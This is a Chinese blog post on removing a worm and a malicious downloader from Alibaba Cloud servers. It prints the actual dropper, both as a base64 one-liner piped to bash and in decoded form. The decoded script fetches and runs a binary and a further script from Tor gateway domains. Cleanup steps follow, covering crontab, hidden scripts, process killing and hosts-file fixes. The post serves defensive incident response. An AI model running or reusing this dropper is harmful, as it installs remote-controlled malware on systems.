[问题已处理]-阿里云服务器种了蠕虫病毒和恶意下载病毒处理

野性酷女 2023-02-18 14:06 31阅读 0赞

今天给公司阿里云服务器安装了安骑士 下午就发现有告警，几乎所有的服务器都种了病毒，并且种类还不一样。

![format_png][]

### 1 蠕虫病毒 ###

![format_png 1][]

echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10cnVtcGtwYWF5M3RoMnBzCmRpcj0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmZvciBpIGluIC91c3IvYmluICRkaXIgL2Rldi9zaG0gL3RtcCAvdmFyL3RtcDtkbyB0b3VjaCAkaS9pICYmIGNkICRpICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp4KCkgewpmPS9pbnQKZD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCndnZXQgLXQxIC1UOTkgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJGYgLU8kZCB8fCBjdXJsIC1tOTkgLWZzU0xrQS0gJDEkZiAtbyRkCmNobW9kICt4ICRkOyRkO3JtIC1mICRkCn0KdSgpIHsKeD0vY3JuCndnZXQgLXQxIC1UOTkgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IHx8IGN1cmwgLW05OSAtZnNTTGtBLSAkMSR4Cn0KZm9yIGggaW4gZDJ3ZWIub3JnIG9uaW9uLm1uIHRvcjJ3ZWIuaW8gb25pb24udG8gb25pb24uaW4ubmV0IDR0b3IubWwgb25pb24uZ2xhc3MgY2l2aWNsaW5rLm5ldHdvcmsgdG9yMndlYi5zdSBvbmlvbi5seSBvbmlvbi5wZXQgb25pb24ud3MKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMCkvaW87IHRoZW4KeCB0cnVtcGtwYWF5M3RoMnBzLiRoCmVsc2UKYnJlYWsKZmkKZG9uZQoKaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMCkvaW87IHRoZW4KKAp1ICR0LnRvcjJ3ZWIuaW8gfHwKdSAkdC5vbmlvbi50byB8fAp1ICR0Lm9uaW9uLm1uIHx8CnUgJHQub25pb24uaW4ubmV0IHx8CnUgJHQuNHRvci5tbCB8fAp1ICR0LmQyd2ViLm9yZyB8fAp1ICR0Lm9uaW9uLmdsYXNzIHx8CnUgJHQuY2l2aWNsaW5rLm5ldHdvcmsgfHwKdSAkdC50b3Iyd2ViLnN1IHx8CnUgJHQub25pb24ubHkgfHwKdSAkdC5vbmlvbi5wZXQgfHwKdSAkdC5vbmlvbi53cwopfGJhc2gKZmkK|base64 -d|bash

![format_png 2][]

exec &>/dev/null
    export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
    t=trumpkpaay3th2ps
    dir=$(grep x:$(id -uc): /etc/passwd|cut -d: -f6)
    for i in /usr/bin $dir /dev/shm /tmp /var/tmp;do touch $i/i && cd $i && rm -f i && break;done
    x() { 
    f=/int
    d=./$(date|md5sum|cut -f1 -d-)
    wget -t1 -T99 -qU- --no-check-certificate $1$f -O$d || curl -m99 -fsSLkA- $1$f -o$d
    chmod +x $d;$d;rm -f $d
    }
    u() { 
    x=/crn
    wget -t1 -T99 -qU- -O- --no-check-certificate $1$x || curl -m99 -fsSLkA- $1$x
    }
    for h in d2web.org onion.mn tor2web.io onion.to onion.in.net 4tor.ml onion.glass civiclink.network tor2web.su onion.ly onion.pet onion.ws
    do
    if ! ls /proc/$(head -n 1 /tmp/.X11-unix/00)/io; then
    x trumpkpaay3th2ps.$h
    else
    break
    fi
    done
    
    if ! ls /proc/$(head -n 1 /tmp/.X11-unix/00)/io; then
    (
    u $t.tor2web.io ||
    u $t.onion.to ||
    u $t.onion.mn ||
    u $t.onion.in.net ||
    u $t.4tor.ml ||
    u $t.d2web.org ||
    u $t.onion.glass ||
    u $t.civiclink.network ||
    u $t.tor2web.su ||
    u $t.onion.ly ||
    u $t.onion.pet ||
    u $t.onion.ws
    )|bash
    fi

![format_png 3][]

![format_png 4][]

pstree 查找可疑进程

![format_png 5][]

杀死可疑的蠕虫守护进程8RVl38

![format_png 6][]

### 2 访问恶意下载源 ###

![format_png 7][]

有类似ssh爆破内网的嫌疑 建议检查一下免密登陆的机子

![format_png 8][]

![format_png 9][]

处理方式

1 删除crontab -e里的可疑文件
    2 删除/root下的隐藏可以sh
    ls -a /root |grep -E  "^\..*\.sh$"
    3 删除/opt下的可疑文件
    4 pstree查看可疑进程
    5 查找curl echo wget 相关的进程或者可疑脚本名称的进程
    ps -ef |grep -E 'wget|curl|echo' 
    6 修改/etc/hosts的可疑解析
    7 观察

![format_png 10][]

清理完定时任务和脚本后 杀死进程最上级的父进程 再递减杀死pid

![format_png 11][]

[format_png]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vamlhbWlueHUvQmxvZ0ltYWdlL3Jhdy9tYXN0ZXIvaW1nLzIwMjAwNjE3MTYyMzM1LnBuZw?x-oss-process=image/format,png
[format_png 1]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vamlhbWlueHUvQmxvZ0ltYWdlL3Jhdy9tYXN0ZXIvaW1nLzIwMjAwNjE2MTczNzIyLnBuZw?x-oss-process=image/format,png
[format_png 2]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vamlhbWlueHUvQmxvZ0ltYWdlL3Jhdy9tYXN0ZXIvaW1nLzIwMjAwNjE2MTc0MzA0LnBuZw?x-oss-process=image/format,png
[format_png 3]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vamlhbWlueHUvQmxvZ0ltYWdlL3Jhdy9tYXN0ZXIvaW1nLzIwMjAwNjE2MTg1MjIzLnBuZw?x-oss-process=image/format,png
[format_png 4]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vamlhbWlueHUvQmxvZ0ltYWdlL3Jhdy9tYXN0ZXIvaW1nLzIwMjAwNjE2MTg1MzUzLnBuZw?x-oss-process=image/format,png
[format_png 5]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vamlhbWlueHUvQmxvZ0ltYWdlL3Jhdy9tYXN0ZXIvaW1nLzIwMjAwNjE2MTkwNTQxLnBuZw?x-oss-process=image/format,png
[format_png 6]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vamlhbWlueHUvQmxvZ0ltYWdlL3Jhdy9tYXN0ZXIvaW1nLzIwMjAwNjE2MTkwNTI2LnBuZw?x-oss-process=image/format,png
[format_png 7]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vamlhbWlueHUvQmxvZ0ltYWdlL3Jhdy9tYXN0ZXIvaW1nLzIwMjAwNjE3MTQzMDMzLnBuZw?x-oss-process=image/format,png
[format_png 8]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vamlhbWlueHUvQmxvZ0ltYWdlL3Jhdy9tYXN0ZXIvaW1nLzIwMjAwNjE3MTQzMTU4LnBuZw?x-oss-process=image/format,png
[format_png 9]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vamlhbWlueHUvQmxvZ0ltYWdlL3Jhdy9tYXN0ZXIvaW1nLzIwMjAwNjE3MTQzMjIyLnBuZw?x-oss-process=image/format,png
[format_png 10]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vamlhbWlueHUvQmxvZ0ltYWdlL3Jhdy9tYXN0ZXIvaW1nLzIwMjAwNjE3MTQzNDE5LnBuZw?x-oss-process=image/format,png
[format_png 11]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9naXRlZS5jb20vamlhbWlueHUvQmxvZ0ltYWdlL3Jhdy9tYXN0ZXIvaW1nLzIwMjAwNjE3MTU0NzQ1LnBuZw?x-oss-process=image/format,png